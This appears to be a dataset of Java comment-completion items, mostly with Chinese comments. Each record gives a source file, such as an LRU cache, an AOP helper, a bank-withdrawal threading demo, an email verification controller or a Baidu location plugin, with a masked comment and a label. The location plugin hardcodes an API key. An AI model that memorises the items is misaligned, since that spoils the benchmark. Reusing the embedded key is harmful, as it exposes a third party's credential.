public void set(K key, V value) { if (keyNodeMap.containsKey(key)) { Node<V> res = this.keyNodeMap.get(key); res.value = value; this.nodeList.moveNodeToTail(res); } else { Node<V> res = new Node<>(value); this.nodeList.addNode(res); this.keyNodeMap.put(key, res); //大于指定容量移除掉头部,为最不经常使用的节点,同时移除掉map集合中的元素 if (this.keyNodeMap.size() == capacity + 1) { Node<V> removeNode = this.nodeList.removeHead(); keyNodeMap.remove(removeNode.value); } } } } /** * 双向链表 ,有头尾指针,头指针为最不经常使用的节点,尾指针为刚使用完的节点 * * @param <V> */ public static class NodeDoubleLinkedList<V> { private Node<V> head; private Node<V> tail; public NodeDoubleLinkedList() { this.head = null; this.tail = null; } public void addNode(Node<V> newNode) { if (newNode == null) { return; } if (this.head == null) { this.head = newNode; this.tail = newNode; } else { //双向链表 this.tail.next = newNode; newNode.pre = this.tail; this.tail = newNode; } } public void moveNodeToTail(Node<V> node) { if (this.tail == null) { return; } //先断 <SUF> if (this.head == node) { head = node.next; this.head.pre = null; } else { node.pre.next = node.next; node.next.pre = node.pre; } //移动到最后的位置 node.pre = this.tail; node.next = null; this.tail.next = node; this.tail = node; } public Node<V> removeHead() { if (head == null) { return null; } Node removeNode = this.head; if (this.head == this.tail) { this.head = null; this.tail = null; } else { this.head = removeNode.next; this.head.pre = null; removeNode.next = null; } return removeNode; } } }
0
53109_2
/** * MIT License * * Copyright (c) 2017 CaiDongyu * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ package org.axe.helper.aop; import java.lang.annotation.Annotation; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import org.axe.annotation.aop.Aspect; import org.axe.helper.ioc.BeanHelper; import org.axe.helper.ioc.ClassHelper; import org.axe.interface_.base.Helper; import org.axe.interface_.proxy.Proxy; import org.axe.proxy.base.ProxyManger; import org.axe.util.ReflectionUtil; /** * 方法拦截助手类 * @author CaiDongyu on 2016/4/14. */ public final class AopHelper implements Helper{ @Override public void init() throws Exception{ synchronized (this) { Map<Class<?>,Set<Class<?>>> proxyMap = createProxyMap(); Map<Class<?>,List<Proxy>> targetMap = createTargetMap(proxyMap); for (Map.Entry<Class<?>,List<Proxy>> targetEntry:targetMap.entrySet()){ Class<?> targetClass = targetEntry.getKey(); List<Proxy> proxyList = targetEntry.getValue(); //真正的创建目标类的代理对象 Object proxy = ProxyManger.createProxy(targetClass,proxyList); BeanHelper.setBean(targetClass,proxy); } } } /** * 返回代理类与目标类集合的映射 * 比如代理类A,代理了B、C、D三个类 * 通过A类上的注解Aspect指定一个目标注解比如叫M * B、C、D类都拥有这个注解M,就可以了。 */ private static Map<Class<?>,Set<Class<?>>> createProxyMap() throws Exception { Map<Class<?>,Set<Class<?>>> proxyMap = new HashMap<>(); //找到切面抽象类的实现类,就是说,都是切面类 Set<Class<?>> proxyClassSet = ClassHelper.getClassSetBySuper(Proxy.class); for(Class<?> proxyClass : proxyClassSet){ //继承了 AspectProxy 不算,还得是有指定了切面目标类 if(proxyClass.isAnnotationPresent(Aspect.class)){ Aspect aspect = proxyClass.getAnnotation(Aspect.class); //TODO:目前AOP实现,还只是针对有目标注解的类做切面,不能细化到方法,这样一旦拦截,会拦截所有方法 //比如事务切面,实际上是切了整个Server类所有方法,但是在切面加强的时候会判断,判断这个方法开不开事务。 Set<Class<?>> targetClassSet = createTargetClassSet(aspect); proxyMap.put(proxyClass,targetClassSet); } } return proxyMap; } private static Set<Class<?>> createTargetClassSet(Aspect aspect) throws Exception{ Set<Class<?>> targetClassSet = new HashSet<>(); //切面目标的指定,依然是通过注解来匹配 Class<? extends Annotation>[] annotations = aspect.value(); //排除Aspect注解本身,因为Aspect注解就是用来指定目标切面注解的 if(annotations != null){ for(Class<? extends Annotation> annotation:annotations){ if(!annotation.equals(Aspect.class)){ //取出含有目标注解的类,作为目标类 targetClassSet.addAll(ClassHelper.getClassSetByAnnotation(annotation)); } } } return targetClassSet; } /** * 将proxy -> targetClassSet 映射关系逆转 * 变成 targetClass -> proxyList 关系 * 也就是说现在是 一个类,对应有多少个proxy去处理 */ private static Map<Class<?>,List<Proxy>> createTargetMap(Map<Class<?>, Set<Class<?>>> proxyMap) throws Exception{ Map<Class<?>,List<Proxy>> targetMap = new HashMap<>(); for (Map.Entry<Class<?>,Set<Class<?>>> proxyEntry:proxyMap.entrySet()){ Class<?> proxyClass = proxyEntry.getKey(); Set<Class<?>> targetClassSet = proxyEntry.getValue(); Proxy proxy = ReflectionUtil.newInstance(proxyClass); for (Class<?> targetClass : targetClassSet){ if (targetMap.containsKey(targetClass)){ targetMap.get(targetClass).add(proxy); } else { List<Proxy> proxyList = new ArrayList<Proxy>(); proxyList.add(proxy); targetMap.put(targetClass,proxyList); } } } return targetMap; } @Override public void onStartUp() throws Exception {} }
DongyuCai/Axe
axe/src/main/java/org/axe/helper/aop/AopHelper.java
1,335
//真正的创建目标类的代理对象
line_comment
zh-cn
/** * MIT License * * Copyright (c) 2017 CaiDongyu * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ package org.axe.helper.aop; import java.lang.annotation.Annotation; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import org.axe.annotation.aop.Aspect; import org.axe.helper.ioc.BeanHelper; import org.axe.helper.ioc.ClassHelper; import org.axe.interface_.base.Helper; import org.axe.interface_.proxy.Proxy; import org.axe.proxy.base.ProxyManger; import org.axe.util.ReflectionUtil; /** * 方法拦截助手类 * @author CaiDongyu on 2016/4/14. */ public final class AopHelper implements Helper{ @Override public void init() throws Exception{ synchronized (this) { Map<Class<?>,Set<Class<?>>> proxyMap = createProxyMap(); Map<Class<?>,List<Proxy>> targetMap = createTargetMap(proxyMap); for (Map.Entry<Class<?>,List<Proxy>> targetEntry:targetMap.entrySet()){ Class<?> targetClass = targetEntry.getKey(); List<Proxy> proxyList = targetEntry.getValue(); //真正 <SUF> Object proxy = ProxyManger.createProxy(targetClass,proxyList); BeanHelper.setBean(targetClass,proxy); } } } /** * 返回代理类与目标类集合的映射 * 比如代理类A,代理了B、C、D三个类 * 通过A类上的注解Aspect指定一个目标注解比如叫M * B、C、D类都拥有这个注解M,就可以了。 */ private static Map<Class<?>,Set<Class<?>>> createProxyMap() throws Exception { Map<Class<?>,Set<Class<?>>> proxyMap = new HashMap<>(); //找到切面抽象类的实现类,就是说,都是切面类 Set<Class<?>> proxyClassSet = ClassHelper.getClassSetBySuper(Proxy.class); for(Class<?> proxyClass : proxyClassSet){ //继承了 AspectProxy 不算,还得是有指定了切面目标类 if(proxyClass.isAnnotationPresent(Aspect.class)){ Aspect aspect = proxyClass.getAnnotation(Aspect.class); //TODO:目前AOP实现,还只是针对有目标注解的类做切面,不能细化到方法,这样一旦拦截,会拦截所有方法 //比如事务切面,实际上是切了整个Server类所有方法,但是在切面加强的时候会判断,判断这个方法开不开事务。 Set<Class<?>> targetClassSet = createTargetClassSet(aspect); proxyMap.put(proxyClass,targetClassSet); } } return proxyMap; } private static Set<Class<?>> createTargetClassSet(Aspect aspect) throws Exception{ Set<Class<?>> targetClassSet = new HashSet<>(); //切面目标的指定,依然是通过注解来匹配 Class<? extends Annotation>[] annotations = aspect.value(); //排除Aspect注解本身,因为Aspect注解就是用来指定目标切面注解的 if(annotations != null){ for(Class<? extends Annotation> annotation:annotations){ if(!annotation.equals(Aspect.class)){ //取出含有目标注解的类,作为目标类 targetClassSet.addAll(ClassHelper.getClassSetByAnnotation(annotation)); } } } return targetClassSet; } /** * 将proxy -> targetClassSet 映射关系逆转 * 变成 targetClass -> proxyList 关系 * 也就是说现在是 一个类,对应有多少个proxy去处理 */ private static Map<Class<?>,List<Proxy>> createTargetMap(Map<Class<?>, Set<Class<?>>> proxyMap) throws Exception{ Map<Class<?>,List<Proxy>> targetMap = new HashMap<>(); for (Map.Entry<Class<?>,Set<Class<?>>> proxyEntry:proxyMap.entrySet()){ Class<?> proxyClass = proxyEntry.getKey(); Set<Class<?>> targetClassSet = proxyEntry.getValue(); Proxy proxy = ReflectionUtil.newInstance(proxyClass); for (Class<?> targetClass : targetClassSet){ if (targetMap.containsKey(targetClass)){ targetMap.get(targetClass).add(proxy); } else { List<Proxy> proxyList = new ArrayList<Proxy>(); proxyList.add(proxy); targetMap.put(targetClass,proxyList); } } } return targetMap; } @Override public void onStartUp() throws Exception {} }
0
28648_0
/** * 不安全的取钱 * 两个人去银行取钱,账户 */ public class UnsafeBank { public static void main(String[] args) { // 账户 Account account = new Account(100,"结婚基金"); Drawing you = new Drawing(account, 50, "你"); Drawing girlFriend = new Drawing(account, 100, "GirlFriend"); you.start(); girlFriend.start(); } } // 账户 class Account { int money; String name; public Account(int money, String name) { this.money = money; this.name = name; } } // 银行: 模拟取款 class Drawing extends Thread { Account account; // 账户 account // 取了多少钱 How much did you withdraw int drawingMoney; // 现在手里钱 Now the money in hand int nowMoney; public Drawing(Account account, int drawingMoney, String name) { super(name); this.account = account; this.drawingMoney = drawingMoney; } @Override // public void run(){ public void run(){ // 这里的account都是主函数传过来的结婚基金的account对象实例,是同一个 /** * 其实这里同步只能按方法去锁对象, * 但是这里具体操作Drawing类的取钱方法的是new的两个账户, * 我们要锁的是两个不同的对象,所以单纯在方法里加syn锁不到两个对象,所以用同步块 */ synchronized (account) { // 判断有没有钱 if (account.money - drawingMoney < 0) { System.out.println(Thread.currentThread().getName() + "钱不够,取不了"); return; } try { Thread.sleep(1000); } catch (InterruptedException e) { throw new RuntimeException(e); } // 卡内余额 = 余额 - 你的钱 account.money = account.money - drawingMoney; nowMoney = nowMoney + drawingMoney; System.out.println(account.name + "余额为:" + account.money); // Thread.currentThread().getName() 和 this.getName() 等价 System.out.println(this.getName() + "手里的钱:" + nowMoney); } } }
DonkeyBoy001/java-thread-
UnsafeBank.java
552
/** * 不安全的取钱 * 两个人去银行取钱,账户 */
block_comment
zh-cn
/** * 不安全 <SUF>*/ public class UnsafeBank { public static void main(String[] args) { // 账户 Account account = new Account(100,"结婚基金"); Drawing you = new Drawing(account, 50, "你"); Drawing girlFriend = new Drawing(account, 100, "GirlFriend"); you.start(); girlFriend.start(); } } // 账户 class Account { int money; String name; public Account(int money, String name) { this.money = money; this.name = name; } } // 银行: 模拟取款 class Drawing extends Thread { Account account; // 账户 account // 取了多少钱 How much did you withdraw int drawingMoney; // 现在手里钱 Now the money in hand int nowMoney; public Drawing(Account account, int drawingMoney, String name) { super(name); this.account = account; this.drawingMoney = drawingMoney; } @Override // public void run(){ public void run(){ // 这里的account都是主函数传过来的结婚基金的account对象实例,是同一个 /** * 其实这里同步只能按方法去锁对象, * 但是这里具体操作Drawing类的取钱方法的是new的两个账户, * 我们要锁的是两个不同的对象,所以单纯在方法里加syn锁不到两个对象,所以用同步块 */ synchronized (account) { // 判断有没有钱 if (account.money - drawingMoney < 0) { System.out.println(Thread.currentThread().getName() + "钱不够,取不了"); return; } try { Thread.sleep(1000); } catch (InterruptedException e) { throw new RuntimeException(e); } // 卡内余额 = 余额 - 你的钱 account.money = account.money - drawingMoney; nowMoney = nowMoney + drawingMoney; System.out.println(account.name + "余额为:" + account.money); // Thread.currentThread().getName() 和 this.getName() 等价 System.out.println(this.getName() + "手里的钱:" + nowMoney); } } }
1
22120_2
package com.software.job.vo; import java.sql.Date; import com.software.job.po.Users; /* * 此javaBean为了方便展示页面数据,故和数据库类型不一样 */ public class UserInfo { private int id; private String uname; private String pwd; private String email; private String phone; private int age; private String gender;//数据类型改变 private String address; private String degree;//数据类型改变 private Date joinTime; private String ip; public UserInfo() { } public UserInfo(Users users) { super(); this.id = users.getId(); this.uname = users.getUname(); this.pwd = users.getPwd(); this.email = users.getEmail(); this.phone = users.getPhone(); this.age = users.getAge(); setGender(users.getGender()); this.address = users.getAddress(); setDegree(users.getDegree()); this.joinTime = users.getJoinTime(); this.ip = users.getIp(); } public UserInfo(int id, String uname, String pwd, String email, String phone, int age, int gender, String address, int degree, Date joinTime, String ip) { super(); this.id = id; this.uname = uname; this.pwd = pwd; this.email = email; this.phone = phone; this.age = age; setGender(gender); this.address = address; setDegree(degree); this.joinTime = joinTime; this.ip = ip; } public UserInfo(String uname, String pwd, String email, String phone, int age, int gender, String address, int degree, Date joinTime, String ip) { super(); this.uname = uname; this.pwd = pwd; this.email = email; this.phone = phone; this.age = age; setGender(gender); this.address = address; setDegree(degree); this.joinTime = joinTime; this.ip = ip; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getUname() { return uname; } public void setUname(String uname) { this.uname = uname; } public String getPwd() { return pwd; } public void setPwd(String pwd) { this.pwd = pwd; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPhone() { return phone; } public void setPhone(String phone) { this.phone = phone; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getGender() { return gender; } public void setGender(int gender) { if(gender==0) { this.gender = "男"; }else { this.gender="女"; } } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public String getDegree() { return degree; } public void setDegree(int degree) { switch (degree) { case 0: this.degree = "高中"; break; case 1: this.degree = "专科"; break; case 2: this.degree = "本科"; break; case 3: this.degree = "硕士"; break; case 4: this.degree = "博士"; break; } } public Date getJoinTime() { return joinTime; } public void setJoinTime(Date joinTime) { this.joinTime = joinTime; } public String getIp() { return ip; } public void setIp(String ip) { this.ip = ip; } }
DonkeyHu/TypicalWebProject
src/com/software/job/vo/UserInfo.java
1,100
//数据类型改变
line_comment
zh-cn
package com.software.job.vo; import java.sql.Date; import com.software.job.po.Users; /* * 此javaBean为了方便展示页面数据,故和数据库类型不一样 */ public class UserInfo { private int id; private String uname; private String pwd; private String email; private String phone; private int age; private String gender;//数据类型改变 private String address; private String degree;//数据 <SUF> private Date joinTime; private String ip; public UserInfo() { } public UserInfo(Users users) { super(); this.id = users.getId(); this.uname = users.getUname(); this.pwd = users.getPwd(); this.email = users.getEmail(); this.phone = users.getPhone(); this.age = users.getAge(); setGender(users.getGender()); this.address = users.getAddress(); setDegree(users.getDegree()); this.joinTime = users.getJoinTime(); this.ip = users.getIp(); } public UserInfo(int id, String uname, String pwd, String email, String phone, int age, int gender, String address, int degree, Date joinTime, String ip) { super(); this.id = id; this.uname = uname; this.pwd = pwd; this.email = email; this.phone = phone; this.age = age; setGender(gender); this.address = address; setDegree(degree); this.joinTime = joinTime; this.ip = ip; } public UserInfo(String uname, String pwd, String email, String phone, int age, int gender, String address, int degree, Date joinTime, String ip) { super(); this.uname = uname; this.pwd = pwd; this.email = email; this.phone = phone; this.age = age; setGender(gender); this.address = address; setDegree(degree); this.joinTime = joinTime; this.ip = ip; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getUname() { return uname; } public void setUname(String uname) { this.uname = uname; } public String getPwd() { return pwd; } public void setPwd(String pwd) { this.pwd = pwd; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPhone() { return phone; } public void setPhone(String phone) { this.phone = phone; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getGender() { return gender; } public void setGender(int gender) { if(gender==0) { this.gender = "男"; }else { this.gender="女"; } } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public String getDegree() { return degree; } public void setDegree(int degree) { switch (degree) { case 0: this.degree = "高中"; break; case 1: this.degree = "专科"; break; case 2: this.degree = "本科"; break; case 3: this.degree = "硕士"; break; case 4: this.degree = "博士"; break; } } public Date getJoinTime() { return joinTime; } public void setJoinTime(Date joinTime) { this.joinTime = joinTime; } public String getIp() { return ip; } public void setIp(String ip) { this.ip = ip; } }
0
63609_7
package priv.fruits.controller.web; import cn.hutool.core.collection.CollectionUtil; import cn.hutool.core.io.FileUtil; import cn.hutool.core.util.RandomUtil; import cn.hutool.extra.mail.MailAccount; import cn.hutool.extra.mail.MailUtil; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import priv.fruits.pojo.ResultMessage; import priv.fruits.pojo.User; import priv.fruits.service.UserService; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; /** * @Author 冶生华 * @Description 果蔬超市 */ @Controller @RequestMapping("email") public class EmailController { // 创建配置好的邮箱对象 @Autowired private MailAccount mailAccount; @Autowired private UserService userService; /** * 发送邮箱验证码 * @param userEmail 邮件接收人 * @return */ @GetMapping("sendVerifyCode") @ResponseBody public ResultMessage sendVerifyCode(String userEmail, String type, HttpServletRequest request) { try { // 查询该邮箱是否已注册 User user = userService.getUserInfoByEmail(userEmail); if("register".equals(type) && user != null && user.getId() != null) { return new ResultMessage(207, "该邮箱已被注册!"); } // 生成验证码(随机10000 - 99999的数字) String code = RandomUtil.randomInt(10000, 99999)+""; // 将生成的验证码保存到session中, 用于后期验证 HttpSession session = request.getSession(); // 保存前将之前保存过的记录删除一遍, 防止之前有记录 session.removeAttribute("webEditPassVerifyCode"); session.removeAttribute("webRegisterVerifyCode"); // 判断是注册还是修改密码, 保存不同的名字 if("register".equals(type)) { session.setAttribute("webRegisterVerifyCode", code); } else if("editPassword".equals(type)) { session.setAttribute("webEditPassVerifyCode", code); } // 利用Hutool封装的邮箱工具类发送邮件 String send = MailUtil.send(mailAccount, CollectionUtil.newArrayList(userEmail), "您正在注册果蔬超市账户……", "打死都不要告诉别人!!验证码是:" + "<span style='color:#1E9FFF;font-size:16px;font-weight:800;'>" + code + "</span>", true); System.out.println("邮件发送结果:" + send); return new ResultMessage(0, "邮件已发送!请查收"); } catch (Exception e) { e.printStackTrace(); return new ResultMessage(500, "出现异常:" + e.getMessage()); } } }
DouFoUncle/daily-fruits
src/main/java/priv/fruits/controller/web/EmailController.java
733
// 判断是注册还是修改密码, 保存不同的名字
line_comment
zh-cn
package priv.fruits.controller.web; import cn.hutool.core.collection.CollectionUtil; import cn.hutool.core.io.FileUtil; import cn.hutool.core.util.RandomUtil; import cn.hutool.extra.mail.MailAccount; import cn.hutool.extra.mail.MailUtil; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import priv.fruits.pojo.ResultMessage; import priv.fruits.pojo.User; import priv.fruits.service.UserService; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; /** * @Author 冶生华 * @Description 果蔬超市 */ @Controller @RequestMapping("email") public class EmailController { // 创建配置好的邮箱对象 @Autowired private MailAccount mailAccount; @Autowired private UserService userService; /** * 发送邮箱验证码 * @param userEmail 邮件接收人 * @return */ @GetMapping("sendVerifyCode") @ResponseBody public ResultMessage sendVerifyCode(String userEmail, String type, HttpServletRequest request) { try { // 查询该邮箱是否已注册 User user = userService.getUserInfoByEmail(userEmail); if("register".equals(type) && user != null && user.getId() != null) { return new ResultMessage(207, "该邮箱已被注册!"); } // 生成验证码(随机10000 - 99999的数字) String code = RandomUtil.randomInt(10000, 99999)+""; // 将生成的验证码保存到session中, 用于后期验证 HttpSession session = request.getSession(); // 保存前将之前保存过的记录删除一遍, 防止之前有记录 session.removeAttribute("webEditPassVerifyCode"); session.removeAttribute("webRegisterVerifyCode"); // 判断 <SUF> if("register".equals(type)) { session.setAttribute("webRegisterVerifyCode", code); } else if("editPassword".equals(type)) { session.setAttribute("webEditPassVerifyCode", code); } // 利用Hutool封装的邮箱工具类发送邮件 String send = MailUtil.send(mailAccount, CollectionUtil.newArrayList(userEmail), "您正在注册果蔬超市账户……", "打死都不要告诉别人!!验证码是:" + "<span style='color:#1E9FFF;font-size:16px;font-weight:800;'>" + code + "</span>", true); System.out.println("邮件发送结果:" + send); return new ResultMessage(0, "邮件已发送!请查收"); } catch (Exception e) { e.printStackTrace(); return new ResultMessage(500, "出现异常:" + e.getMessage()); } } }
0
59104_0
package com.spout.phonegap.plugins.baidulocation; import java.util.HashMap; import java.util.Map; import org.apache.cordova.CallbackContext; import org.apache.cordova.CordovaPlugin; import org.apache.cordova.PluginResult; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import android.util.Log; import com.baidu.location.BDLocation; import com.baidu.location.BDLocationListener; import com.baidu.location.LocationClient; import com.baidu.location.LocationClientOption; public class BaiduLocation extends CordovaPlugin { private static final String STOP_ACTION = "stop"; private static final String GET_ACTION = "getCurrentPosition"; public LocationClient locationClient = null; public JSONObject jsonObj = new JSONObject(); public boolean result = false; public CallbackContext callbackContext; public BDLocationListener myListener; private static final Map<Integer, String> ERROR_MESSAGE_MAP = new HashMap<Integer, String>(); private static final String DEFAULT_ERROR_MESSAGE = "服务端定位失败"; static { ERROR_MESSAGE_MAP.put(61, "GPS定位结果"); ERROR_MESSAGE_MAP.put(62, "扫描整合定位依据失败。此时定位结果无效"); ERROR_MESSAGE_MAP.put(63, "网络异常,没有成功向服务器发起请求。此时定位结果无效"); ERROR_MESSAGE_MAP.put(65, "定位缓存的结果"); ERROR_MESSAGE_MAP.put(66, "离线定位结果。通过requestOfflineLocaiton调用时对应的返回结果"); ERROR_MESSAGE_MAP.put(67, "离线定位失败。通过requestOfflineLocaiton调用时对应的返回结果"); ERROR_MESSAGE_MAP.put(68, "网络连接失败时,查找本地离线定位时对应的返回结果。"); ERROR_MESSAGE_MAP.put(161, "表示网络定位结果"); }; public String getErrorMessage(int locationType) { String result = ERROR_MESSAGE_MAP.get(locationType); if (result == null) { result = DEFAULT_ERROR_MESSAGE; } return result; } @Override public boolean execute(String action, JSONArray args, final CallbackContext callbackContext) { setCallbackContext(callbackContext); if (GET_ACTION.equals(action)) { cordova.getActivity().runOnUiThread(new Runnable() { @Override public void run() { locationClient = new LocationClient(cordova.getActivity()); locationClient.setAK("BfkPvjDGHC0ATZhIr6wxnHh9");//设置百度的ak myListener = new MyLocationListener(); locationClient.registerLocationListener(myListener); LocationClientOption option = new LocationClientOption(); option.setOpenGps(true); option.setCoorType("bd09ll");// 返回的定位结果是百度经纬度,默认值gcj02 option.setProdName("BaiduLoc"); option.disableCache(true);// 禁止启用缓存定位 locationClient.setLocOption(option); locationClient.start(); locationClient.requestLocation(); } }); return true; } else if (STOP_ACTION.equals(action)) { locationClient.stop(); callbackContext.success(200); return true; } else { callbackContext .error(PluginResult.Status.INVALID_ACTION.toString()); } while (result == false) { try { Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } return result; } public class MyLocationListener implements BDLocationListener { @Override public void onReceiveLocation(BDLocation location) { if (location == null) return; try { JSONObject coords = new JSONObject(); coords.put("latitude", location.getLatitude()); coords.put("longitude", location.getLongitude()); coords.put("radius", location.getRadius()); jsonObj.put("coords", coords); int locationType = location.getLocType(); jsonObj.put("locationType", locationType); jsonObj.put("code", locationType); jsonObj.put("message", getErrorMessage(locationType)); switch (location.getLocType()) { case BDLocation.TypeGpsLocation: coords.put("speed", location.getSpeed()); coords.put("altitude", location.getAltitude()); jsonObj.put("SatelliteNumber", location.getSatelliteNumber()); break; case BDLocation.TypeNetWorkLocation: jsonObj.put("addr", location.getAddrStr()); break; } Log.d("BaiduLocationPlugin", "run: " + jsonObj.toString()); callbackContext.success(jsonObj); result = true; } catch (JSONException e) { callbackContext.error(e.getMessage()); result = true; } } public void onReceivePoi(BDLocation poiLocation) { // TODO Auto-generated method stub } } @Override public void onDestroy() { if (locationClient != null && locationClient.isStarted()) { locationClient.stop(); locationClient = null; } super.onDestroy(); } private void logMsg(String s) { System.out.println(s); } public CallbackContext getCallbackContext() { return callbackContext; } public void setCallbackContext(CallbackContext callbackContext) { this.callbackContext = callbackContext; } }
DoubleSpout/phonegap_baidu_sdk_location
src/android/BaiduLocation.java
1,413
//设置百度的ak
line_comment
zh-cn
package com.spout.phonegap.plugins.baidulocation; import java.util.HashMap; import java.util.Map; import org.apache.cordova.CallbackContext; import org.apache.cordova.CordovaPlugin; import org.apache.cordova.PluginResult; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import android.util.Log; import com.baidu.location.BDLocation; import com.baidu.location.BDLocationListener; import com.baidu.location.LocationClient; import com.baidu.location.LocationClientOption; public class BaiduLocation extends CordovaPlugin { private static final String STOP_ACTION = "stop"; private static final String GET_ACTION = "getCurrentPosition"; public LocationClient locationClient = null; public JSONObject jsonObj = new JSONObject(); public boolean result = false; public CallbackContext callbackContext; public BDLocationListener myListener; private static final Map<Integer, String> ERROR_MESSAGE_MAP = new HashMap<Integer, String>(); private static final String DEFAULT_ERROR_MESSAGE = "服务端定位失败"; static { ERROR_MESSAGE_MAP.put(61, "GPS定位结果"); ERROR_MESSAGE_MAP.put(62, "扫描整合定位依据失败。此时定位结果无效"); ERROR_MESSAGE_MAP.put(63, "网络异常,没有成功向服务器发起请求。此时定位结果无效"); ERROR_MESSAGE_MAP.put(65, "定位缓存的结果"); ERROR_MESSAGE_MAP.put(66, "离线定位结果。通过requestOfflineLocaiton调用时对应的返回结果"); ERROR_MESSAGE_MAP.put(67, "离线定位失败。通过requestOfflineLocaiton调用时对应的返回结果"); ERROR_MESSAGE_MAP.put(68, "网络连接失败时,查找本地离线定位时对应的返回结果。"); ERROR_MESSAGE_MAP.put(161, "表示网络定位结果"); }; public String getErrorMessage(int locationType) { String result = ERROR_MESSAGE_MAP.get(locationType); if (result == null) { result = DEFAULT_ERROR_MESSAGE; } return result; } @Override public boolean execute(String action, JSONArray args, final CallbackContext callbackContext) { setCallbackContext(callbackContext); if (GET_ACTION.equals(action)) { cordova.getActivity().runOnUiThread(new Runnable() { @Override public void run() { locationClient = new LocationClient(cordova.getActivity()); locationClient.setAK("BfkPvjDGHC0ATZhIr6wxnHh9");//设置 <SUF> myListener = new MyLocationListener(); locationClient.registerLocationListener(myListener); LocationClientOption option = new LocationClientOption(); option.setOpenGps(true); option.setCoorType("bd09ll");// 返回的定位结果是百度经纬度,默认值gcj02 option.setProdName("BaiduLoc"); option.disableCache(true);// 禁止启用缓存定位 locationClient.setLocOption(option); locationClient.start(); locationClient.requestLocation(); } }); return true; } else if (STOP_ACTION.equals(action)) { locationClient.stop(); callbackContext.success(200); return true; } else { callbackContext .error(PluginResult.Status.INVALID_ACTION.toString()); } while (result == false) { try { Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } return result; } public class MyLocationListener implements BDLocationListener { @Override public void onReceiveLocation(BDLocation location) { if (location == null) return; try { JSONObject coords = new JSONObject(); coords.put("latitude", location.getLatitude()); coords.put("longitude", location.getLongitude()); coords.put("radius", location.getRadius()); jsonObj.put("coords", coords); int locationType = location.getLocType(); jsonObj.put("locationType", locationType); jsonObj.put("code", locationType); jsonObj.put("message", getErrorMessage(locationType)); switch (location.getLocType()) { case BDLocation.TypeGpsLocation: coords.put("speed", location.getSpeed()); coords.put("altitude", location.getAltitude()); jsonObj.put("SatelliteNumber", location.getSatelliteNumber()); break; case BDLocation.TypeNetWorkLocation: jsonObj.put("addr", location.getAddrStr()); break; } Log.d("BaiduLocationPlugin", "run: " + jsonObj.toString()); callbackContext.success(jsonObj); result = true; } catch (JSONException e) { callbackContext.error(e.getMessage()); result = true; } } public void onReceivePoi(BDLocation poiLocation) { // TODO Auto-generated method stub } } @Override public void onDestroy() { if (locationClient != null && locationClient.isStarted()) { locationClient.stop(); locationClient = null; } super.onDestroy(); } private void logMsg(String s) { System.out.println(s); } public CallbackContext getCallbackContext() { return callbackContext; } public void setCallbackContext(CallbackContext callbackContext) { this.callbackContext = callbackContext; } }
1
15314_0
